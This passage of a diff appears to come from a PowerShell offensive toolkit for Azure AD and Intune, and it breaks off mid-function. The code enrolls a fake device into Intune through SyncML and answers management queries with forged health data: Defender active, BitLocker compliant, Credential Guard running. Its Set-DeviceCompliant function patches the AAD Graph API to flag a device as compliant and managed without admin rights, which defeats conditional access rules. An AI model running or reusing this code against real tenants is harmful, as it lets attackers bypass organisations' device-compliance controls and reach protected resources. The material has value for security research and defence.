"./Vendor/MSFT/EnterpriseModernAppManagement/AppManagement/AppStore" = ""
|
||||
|
||||
"./Vendor/MSFT/NodeCache/MS%20DM%20Server" = "CacheVersion/Nodes/ChangedNodes/ChangedNodesData"
|
||||
"./Vendor/MSFT/NodeCache/MS%20DM%20Server/CacheVersion" = ""
|
||||
"./Vendor/MSFT/NodeCache/MS%20DM%20Server/ChangedNodes" = ""
|
||||
|
||||
"./Vendor/MSFT/WindowsLicensing/Edition" = "4"
|
||||
"./Vendor/MSFT/WindowsLicensing/Status" = "3" # Completed
|
||||
"./Vendor/MSFT/WindowsLicensing/SMode/Status" = "0" # Successfully switched out of S mode
|
||||
|
||||
"./Vendor/MSFT/Update/LastSuccessfulScanTime" = (Get-Date).AddMinutes(-10).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
|
||||
"./Vendor/MSFT/Update/InstallableUpdates" = ""
|
||||
"./Vendor/MSFT/Update/PendingRebootUpdates" = ""
|
||||
|
||||
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers" = "000000000000"
|
||||
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IPAddressV4" = "192.168.0.2"
|
||||
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IPAddressV6" = ""
|
||||
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IsConnected" = "true"
|
||||
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/Type" = "1" # 1=LAN, 2=WLAN
|
||||
|
||||
"./Vendor/MSFT/DeviceStatus/OS/Mode" = "0"
|
||||
"./Vendor/MSFT/DeviceStatus/OS/Edition" = "4"
|
||||
"./Vendor/MSFT/DeviceStatus/CellularIdentities" = ""
|
||||
"./Vendor/MSFT/DeviceStatus/Compliance/EncryptionCompliance" = "true"
|
||||
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/UsePassportForWork" = "true"
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/RequireSecurityDevice" = "true"
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/MinimumPINLength" = "6"
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/MaximumPINLength" = "127"
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/UppercaseLetters" = "1" # 0=allowed, 1=required, 2=not allowed
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/LowercaseLetters" = "1" # 0=allowed, 1=required, 2=not allowed
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/SpecialCharacters" = "1" # 0=allowed, 1=required, 2=not allowed
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/Digits" = "1" # 0=allowed, 1=required, 2=not allowed
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/History" = "1" # 0=allowed, 1=required, 2=not allowed
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/Expiration" = "50" # 0-50
|
||||
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/Remote/UseRemotePassport" = "false"
|
||||
|
||||
"./Vendor/MSFT/PassportForWork/Biometrics/UseBiometrics" = "true"
|
||||
"./Vendor/MSFT/PassportForWork/Biometrics/FacialFeaturesUseEnhancedAntiSpoofing" = "true"
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"./Vendor/MSFT/DeviceStatus/TPM/SpecificationVersion" = "2.0"
|
||||
|
||||
"./Vendor/MSFT/DeviceStatus/DomainName" = ""
|
||||
|
||||
"./Vendor/MSFT/DeviceStatus/DeviceGuard/LsaCfgCredGuardStatus" = "0" # Running
|
||||
"./Vendor/MSFT/DeviceStatus/DeviceGuard/VirtualizationBasedSecurityHwReq" = "0" # System meets hardware configuration requirements
|
||||
"./Vendor/MSFT/DeviceStatus/DeviceGuard/VirtualizationBasedSecurityStatus" = "0" # Running
|
||||
|
||||
"./Vendor/MSFT/DeviceStatus/Battery/EstimatedRuntime" = "-1" # AC connected
|
||||
"./Vendor/MSFT/DeviceStatus/Battery/EstimatedChargeRemaining" = "-1" # AC
|
||||
|
||||
"./Vendor/MSFT/DeviceInstanceService/PhoneNumber" = "1234567890"
|
||||
|
||||
"./Vendor/MSFT/Defender/Detections" = ""
|
||||
|
||||
"./Vendor/MSFT/Defender/Health" = "ProductStatus/ComputerState/DefenderEnabled/RtpEnabled/NisEnabled/QuickScanOverdue/FullScanOverdue/SignatureOutOfDate/RebootRequired/FullScanRequired/EngineVersion/SignatureVersion/DefenderVersion/QuickScanTime/FullScanTime/QuickScanSigVersion/FullScanSigVersion/TamperProtectionEnabled/IsVirtualMachine"
|
||||
"./Vendor/MSFT/Defender/Health/ProductStatus" = "0"
|
||||
"./Vendor/MSFT/Defender/Health/ComputerState" = "0"
|
||||
"./Vendor/MSFT/Defender/Health/TamperProtectionEnabled" = "true"
|
||||
"./Vendor/MSFT/Defender/Health/DefenderEnabled" = "true"
|
||||
"./Vendor/MSFT/Defender/Health/RtpEnabled" = "true"
|
||||
"./Vendor/MSFT/Defender/Health/NisEnabled" = "true"
|
||||
"./Vendor/MSFT/Defender/Health/QuickScanOverdue" = "false"
|
||||
"./Vendor/MSFT/Defender/Health/FullScanOverdue" = "false"
|
||||
"./Vendor/MSFT/Defender/Health/SignatureOutOfDate" = "false"
|
||||
"./Vendor/MSFT/Defender/Health/RebootRequired" = "false"
|
||||
"./Vendor/MSFT/Defender/Health/FullScanRequired" = "false"
|
||||
"./Vendor/MSFT/Defender/Health/EngineVersion" = "1.1.17400.5"
|
||||
"./Vendor/MSFT/Defender/Health/SignatureVersion" = "1.323.410.0"
|
||||
"./Vendor/MSFT/Defender/Health/DefenderVersion" = "4.18.2008.9"
|
||||
"./Vendor/MSFT/Defender/Health/QuickScanTime" = (Get-Date).AddHours(-1).ToUniversalTime().ToString("MM/dd/yyyy HH:mm:ss UTC")
|
||||
"./Vendor/MSFT/Defender/Health/FullScanTime" = (Get-Date).AddHours(-2).ToUniversalTime().ToString("MM/dd/yyyy HH:mm:ss UTC")
|
||||
"./Vendor/MSFT/Defender/Health/QuickScanSigVersion" = "1.321.2151.0"
|
||||
"./Vendor/MSFT/Defender/Health/FullScanSigVersion" = "1.321.2151.0"
|
||||
"./Vendor/MSFT/Defender/Health/IsVirtualMachine" = "true"
|
||||
|
||||
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDMID" = "0"
|
||||
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDeviceName" = "$encDeviceName mgmt"
|
||||
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/AADResourceID" = "https://manage.microsoft.com"
|
||||
|
||||
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Poll/IntervalForRemainingScheduledRetries" = "480"
|
||||
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Poll/PollOnLogin" = "false"
|
||||
|
||||
"./Vendor/MSFT/DMClient/HWDevID" = $hwId
|
||||
|
||||
"./Vendor/MSFT/HealthAttestation/Status" = "3" # DHA-Data is ready for pic up
|
||||
"./Vendor/MSFT/Update/FailedUpdates" = ""
|
||||
|
||||
|
||||
"./Vendor/MSFT/Office/Installation/CurrentStatus" = "" # XML of current Office 365 installation status on the device
|
||||
|
||||
"./Device/Vendor/MSFT/DeviceManageability/Capabilities/CSPVersions" = [Security.SecurityElement]::Escape($CSPVersions)
|
||||
"./Device/Vendor/MSFT/BitLocker/Status/DeviceEncryptionStatus" = "0" # Compliant
|
||||
|
||||
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/IsSyncDone" = "true"
|
||||
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/SkipDeviceStatusPage" = "true"
|
||||
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/SkipUserStatusPage" = "true"
|
||||
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/TimeOutUntilSyncFailure" = "60"
|
||||
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/ServerHasFinishedProvisioning" = "true"
|
||||
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/WasDeviceSuccessfullyProvisioned" = "1" # 0=failure, 1=success, 2=in progress
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Initial commands
|
||||
$commands = @()
|
||||
$commands += New-Object psobject -Property @{"Type" = "Alert"; "Data" = "1201"; CmdID = 1 }
|
||||
$commands += New-Object psobject -Property @{"Type" = "Alert"; "Data" = "1224"; CmdID = 2 ; "ItemData"= ($Scope.ToLower()) ; "MetaType"="com.microsoft/MDM/LoginStatus"}
|
||||
$attr = [ordered]@{
|
||||
Type = "Replace"
|
||||
CmdID = 3
|
||||
Items = @{
|
||||
"./DevInfo/DevId" = $DeviceName
|
||||
"./DevInfo/Man" = "Microsoft Corporation"
|
||||
"./DevInfo/Mod" = "Virtual Machine"
|
||||
"./DevInfo/DmV" = "1.3"
|
||||
"./DevInfo/Lang" = "en-US"
|
||||
}
|
||||
}
|
||||
$commands += New-Object psobject -Property $attr
|
||||
|
||||
# Keep looping until no more commands than <Status>
|
||||
while($commands.count -ge 1)
|
||||
{
|
||||
$f=$msgId
|
||||
|
||||
Write-Verbose "=> Sending message ($f) with $($commands.Count) commands."
|
||||
$req = New-SyncMLRequest -commands $commands -DeviceName $encDeviceName -SessionID $sessionId -MsgID ($msgId++)
|
||||
|
||||
# Debug
|
||||
if($DebugPreference)
|
||||
{
|
||||
$req | set-content "req$f.xml"
|
||||
}
|
||||
|
||||
$res = Invoke-SyncMLRequest -SyncML $req -Certificate $Certificate
|
||||
|
||||
# Debug
|
||||
if($DebugPreference)
|
||||
{
|
||||
$res.OuterXml | set-content "res$f.xml"
|
||||
}
|
||||
|
||||
$commands = Parse-SyncMLResponse -SyncML $res
|
||||
|
||||
Write-Verbose " Received response ($f) with $($commands.Count) commands."
|
||||
|
||||
# Response to all with 400 - bad request (except for the things at settings)
|
||||
$commands = New-SyncMLAutoresponse -DeviceName $DeviceName -Commands $commands -MsgID $msgId -Settings $settings
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Remove the device from intune
|
||||
# Sep 7th
|
||||
function Remove-DeviceFromIntune
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes (un-enrolls) the given device from Intune.
|
||||
|
||||
.DESCRIPTION
|
||||
Removes the given device to from Intune.
|
||||
|
||||
.Parameter Certificate
|
||||
x509 certificate of the device.
|
||||
|
||||
.Parameter PfxFileName
|
||||
File name of the .pfx certificate of the device.
|
||||
|
||||
.Parameter PfxPassword
|
||||
The password of the .pfx certificate of the device.
|
||||
|
||||
.EXAMPLE
|
||||
Remove-AADIntAccessDeviceFromIntune -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
|
||||
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
|
||||
[string]$PfxPassword
|
||||
)
|
||||
Process
|
||||
{
|
||||
if(!$Certificate)
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
|
||||
}
|
||||
|
||||
# Get the device id from the certificate
|
||||
$deviceId = $Certificate.Subject.Split("=")[1]
|
||||
|
||||
$requestId = (New-Guid).ToString()
|
||||
|
||||
$headers=@{
|
||||
"Accept" = "application/json1"
|
||||
"Accept-Charset" = "UTF-8"
|
||||
"User-Agent" = "Dsreg/10.0 (Windows 10.0.18363.0)"
|
||||
"ocp-adrs-client-name" = "Dsreg"
|
||||
"ocp-adrs-client-version" = "10.0.18362.0"
|
||||
"return-client-request-id" = "true"
|
||||
"client-Request-Id" = $requestId
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Write-Verbose "Removing device $deviceId from Intune. Request Id: $requestId"
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Certificate $Certificate -Method Delete -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/$($deviceId)?api-version=1.0" -Headers $headers -ErrorAction SilentlyContinue
|
||||
Write-Verbose "Device $deviceId removed from Intune."
|
||||
}
|
||||
catch
|
||||
{
|
||||
if($_.ErrorDetails.Message)
|
||||
{
|
||||
throw ($_.ErrorDetails.Message | Convertfrom-Json).message
|
||||
}
|
||||
else
|
||||
{
|
||||
throw "Remove failed! $($_.message)"
|
||||
}
|
||||
}
|
||||
|
||||
return $response
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Get's device compliance
|
||||
# Sep 11th 2020
|
||||
function Get-DeviceCompliance
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets the device compliance status.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets the user's device compliance status using AAD Graph API. Does not require admin rights!
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to set the compliance.
|
||||
|
||||
.Parameter DeviceId
|
||||
Azure AD device id of the device.
|
||||
|
||||
.Parameter ObjectId
|
||||
Azure AD object id of the device.
|
||||
|
||||
.Parameter All
|
||||
Returns all devices.
|
||||
|
||||
.Parameter My
|
||||
Returns all user's devices.
|
||||
|
||||
.EXAMPLE
|
||||
Get-AADIntAccessTokenForAADGraph -SaveToCache
|
||||
|
||||
PS C\:>Get-AADIntDeviceCompliance -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7"
|
||||
|
||||
displayName : SixByFour
|
||||
objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0
|
||||
deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7
|
||||
isCompliant : False
|
||||
isManaged : True
|
||||
deviceOwnership : Company
|
||||
|
||||
.EXAMPLE
|
||||
Get-AADIntAccessTokenForAADGraph -SaveToCache
|
||||
|
||||
PS C\:>Get-AADIntDeviceCompliance -My | ft
|
||||
|
||||
displayName objectId deviceId isCompliant isManaged deviceOwnership deviceTrustType
|
||||
----------- -------- -------- ----------- --------- --------------- ---------------
|
||||
SixByFour 2eaa21a1-6362-4d3f-afc4-597592217ef0 d03994c9-24f8-41ba-a156-1805998d6dc7 False True Company AzureAd
|
||||
DESKTOP-X4LCS 8ba68233-4d2b-4331-8b8b-27bc53204d8b c9dcde64-5d0f-4b3c-b711-cb6947837dc2 False True Company ServerAd
|
||||
SM-1234 c00af9fe-108e-446b-aeee-bf06262973dc 74080692-fb38-4a7b-be25-27d9cbf95705 Personal AzureAd
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(ParameterSetName='DeviceID',Mandatory=$True)]
|
||||
[String]$DeviceId,
|
||||
[Parameter(ParameterSetName='ObjectID',Mandatory=$True)]
|
||||
[String]$ObjectId,
|
||||
[Parameter(ParameterSetName='All',Mandatory=$True)]
|
||||
[Switch]$All,
|
||||
[Parameter(ParameterSetName='My',Mandatory=$True)]
|
||||
[Switch]$My
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
$parsedToken = Read-Accesstoken -AccessToken $AccessToken
|
||||
|
||||
$tenantId = $parsedToken.tid
|
||||
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"Accept" = "application/json;odata=nometadata"
|
||||
}
|
||||
|
||||
|
||||
# Get the object Id if not given
|
||||
if(!$All -and !$My -and [string]::IsNullOrEmpty($ObjectId))
|
||||
{
|
||||
$ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken
|
||||
}
|
||||
|
||||
$select="`$select=displayName,objectId,deviceId,isCompliant,isManaged,deviceOwnership,deviceManagementAppId,deviceTrustType,onPremisesSecurityIdentifier"
|
||||
|
||||
if($All)
|
||||
{
|
||||
$url="https://graph.windows.net/$tenantId/devices?$select&api-version=1.61-internal"
|
||||
}
|
||||
elseif($My)
|
||||
{
|
||||
$url="https://graph.windows.net/Me/ownedDevices?$select&api-version=1.61-internal"
|
||||
}
|
||||
else
|
||||
{
|
||||
$url="https://graph.windows.net/$tenantId/devices/$($ObjectId)?$select&api-version=1.61-internal"
|
||||
}
|
||||
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url -Headers $headers
|
||||
|
||||
if($response.value)
|
||||
{
|
||||
return $response.value
|
||||
}
|
||||
else
|
||||
{
|
||||
return $response
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
# Set's device compliance
|
||||
# Sep 11th 2020
|
||||
function Set-DeviceCompliant
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets the device compliant.
|
||||
|
||||
.DESCRIPTION
|
||||
Sets the user's device compliant using AAD Graph API. Does not require admin rights.
|
||||
Compliant and managed statuses can be used in conditional access (CA) rules.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to set the compliance.
|
||||
|
||||
.Parameter DeviceId
|
||||
Azure AD device id of the device.
|
||||
|
||||
.Parameter ObjectId
|
||||
Azure AD object id of the device.
|
||||
|
||||
.EXAMPLE
|
||||
Get-AADIntAccessTokenForAADGraph -SaveToCache
|
||||
|
||||
PS C\:>Set-AADIntDeviceCompliant -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7"
|
||||
|
||||
displayName : SixByFour
|
||||
objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0
|
||||
deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7
|
||||
isCompliant : True
|
||||
isManaged : True
|
||||
deviceOwnership :
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(ParameterSetName='DeviceID',Mandatory=$True)]
|
||||
[String]$DeviceId,
|
||||
[Parameter(ParameterSetName='ObjectID',Mandatory=$True)]
|
||||
[String]$ObjectId,
|
||||
[Switch]$Compliant,
|
||||
[Switch]$Managed,
|
||||
[Switch]$Intune
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
$parsedToken = Read-Accesstoken -AccessToken $AccessToken
|
||||
|
||||
$tenantId = $parsedToken.tid
|
||||
|
||||
$body=@{}
|
||||
|
||||
if($Compliant) {$body["isCompliant"] = "true"}
|
||||
if($Managed) {$body["isManaged"] = "true"}
|
||||
if($Intune) {$body["deviceManagementAppId"] = "0000000a-0000-0000-c000-000000000000"}
|
||||
|
||||
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Get the object Id if not given
|
||||
if([string]::IsNullOrEmpty($ObjectId))
|
||||
{
|
||||
$ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken
|
||||
}
|
||||
|
||||
# Set the device compliance
|
||||
Invoke-RestMethod -UseBasicParsing -Method Patch -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?api-version=1.61-internal" -Headers $headers -Body ($body|ConvertTo-Json) -ContentType "application/json"
|
||||
|
||||
Get-DeviceCompliance -ObjectId $ObjectId -AccessToken $AccessToken
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
+742
@@ -0,0 +1,742 @@
|
||||
# This file contains utility functions for Intune MDM
|
||||
|
||||
# Get MDM discovery information
|
||||
# Aug 20th
|
||||
function Get-MDMEnrollmentService
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserName="user@alt.none"
|
||||
)
|
||||
Process
|
||||
{
|
||||
$messageId = $(New-Guid).ToString()
|
||||
$deviceType = "CIMClient_Windows"
|
||||
$applicationVersion = "10.0.18363.0"
|
||||
$OSEdition = "4"
|
||||
|
||||
$body=@"
|
||||
<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/management/2012/01/enrollment/IDiscoveryService/Discover</a:Action>
|
||||
<a:MessageID>urn:uuid:$messageId</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">https://enrollment.manage.microsoft.com:443/enrollmentserver/discovery.svc</a:To>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<Discover xmlns="http://schemas.microsoft.com/windows/management/2012/01/enrollment">
|
||||
<request xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<EmailAddress>$UserName</EmailAddress>
|
||||
<RequestVersion>4.0</RequestVersion>
|
||||
<DeviceType>$deviceType</DeviceType>
|
||||
<ApplicationVersion>$applicationVersion</ApplicationVersion>
|
||||
<OSEdition>$OSEdition</OSEdition>
|
||||
<AuthPolicies>
|
||||
<AuthPolicy>OnPremise</AuthPolicy>
|
||||
<AuthPolicy>Federated</AuthPolicy>
|
||||
</AuthPolicies>
|
||||
</request>
|
||||
</Discover>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
$headers=@{
|
||||
"Content-Type" = "application/soap+xml; charset=utf-8"
|
||||
"User-Agent" = "ENROLLClient"
|
||||
}
|
||||
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://enrollment.manage.microsoft.com/enrollmentserver/discovery.svc" -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers $headers
|
||||
|
||||
# Get the data
|
||||
$activityId = $response.Envelope.Header.ActivityId.'#text'
|
||||
$serviceUri = $response.Envelope.Body.DiscoverResponse.DiscoverResult.EnrollmentServiceUrl
|
||||
|
||||
if(!$serviceUri.EndsWith($activityId))
|
||||
{
|
||||
$serviceUri += "?client-request-id=$activityId"
|
||||
}
|
||||
|
||||
# Return
|
||||
return $serviceUri
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Enroll device to MDM
|
||||
# Aug 28th
|
||||
function Enroll-DeviceToMDM
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[bool]$BPRT
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the claims from the access token
|
||||
$claims = Read-Accesstoken -AccessToken $AccessToken
|
||||
|
||||
# Construct the values
|
||||
$enrollmentUrl = Get-MDMEnrollmentService -UserName $claims.upn
|
||||
$binarySecurityToken = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.GetBytes($AccessToken))
|
||||
|
||||
$HWDevID = "$($claims.deviceid)$($claims.tid)".Replace("-","")
|
||||
$deviceId = $claims.deviceid.Replace("-","")
|
||||
|
||||
# Create a private key
|
||||
$rsa = [System.Security.Cryptography.RSA]::Create(2048)
|
||||
|
||||
# Initialize the Certificate Signing Request object
|
||||
$CN = "CN=$($claims.deviceid)"
|
||||
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
|
||||
|
||||
# Create the signing request
|
||||
$csr = Convert-ByteArrayToB64 -Bytes $req.CreateSigningRequest()
|
||||
|
||||
$headers=@{
|
||||
"Content-Type" = "application/soap+xml; charset=utf-8"
|
||||
"User-Agent" = "ENROLLClient"
|
||||
}
|
||||
|
||||
# Create the CSR request body
|
||||
$csrBody=@"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wst="http://docs.oasis-open.org/ws-sx/ws-trust/200512" xmlns:ac="http://schemas.xmlsoap.org/ws/2006/12/authorization">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action>
|
||||
<a:MessageID>urn:uuid:$((New-Guid).ToString())</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">$enrollmentUrl</a:To>
|
||||
<wsse:Security s:mustUnderstand="1">
|
||||
<wsse:BinarySecurityToken ValueType="urn:ietf:params:oauth:token-type:jwt" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">$binarySecurityToken</wsse:BinarySecurityToken>
|
||||
</wsse:Security>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<wst:RequestSecurityToken>
|
||||
<wst:TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</wst:TokenType>
|
||||
<wst:RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</wst:RequestType>
|
||||
<wsse:BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">$csr</wsse:BinarySecurityToken>
|
||||
<ac:AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization">
|
||||
<ac:ContextItem Name="UXInitiated">
|
||||
<ac:Value>(($BPRT -eq $false).ToString().ToLower())</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="HWDevID">
|
||||
<ac:Value>$HWDevID</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="BulkAADJ">
|
||||
<ac:Value>$($BPRT.ToString().ToLower())</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="Locale">
|
||||
<ac:Value>en-US</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="TargetedUserLoggedIn">
|
||||
<ac:Value>$(($BPRT -eq $false).ToString().ToLower())</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="EnrollmentData">
|
||||
<ac:Value></ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="OSEdition">
|
||||
<ac:Value>4</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="DeviceName">
|
||||
<ac:Value>$DeviceName</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="MAC">
|
||||
<ac:Value>00-00-00-00-00-00</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="DeviceID">
|
||||
<ac:Value>$deviceId</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="EnrollmentType">
|
||||
<ac:Value>Device</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="DeviceType">
|
||||
<ac:Value>CIMClient_Windows</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="OSVersion">
|
||||
<ac:Value>10.0.18363.0</ac:Value>
|
||||
</ac:ContextItem>
|
||||
<ac:ContextItem Name="ApplicationVersion">
|
||||
<ac:Value>10.0.18363.0</ac:Value>
|
||||
</ac:ContextItem>
|
||||
</ac:AdditionalContext>
|
||||
</wst:RequestSecurityToken>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
|
||||
# Clean the url
|
||||
$url=$enrollmentUrl.Replace(":443","")
|
||||
|
||||
# The user might not have the lisence
|
||||
try
|
||||
{
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $csrBody -ContentType "application/soap+xml; charset=utf-8" -Headers $headers
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw $_
|
||||
}
|
||||
|
||||
# Get the data
|
||||
$binSecurityToken = $response.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse.RequestedSecurityToken.BinarySecurityToken.'#text'
|
||||
$xmlSecurityToken = [xml][text.encoding]::UTF8.GetString((Convert-B64ToByteArray -B64 $binSecurityToken))
|
||||
|
||||
Write-Debug "BinarySecurityToken: $($xmlSecurityToken.OuterXml)"
|
||||
|
||||
# Get the certificates
|
||||
$CA = $xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[0].characteristic.characteristic.Parm.value
|
||||
$IntMedCA = $xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[1].characteristic.characteristic.Parm.value
|
||||
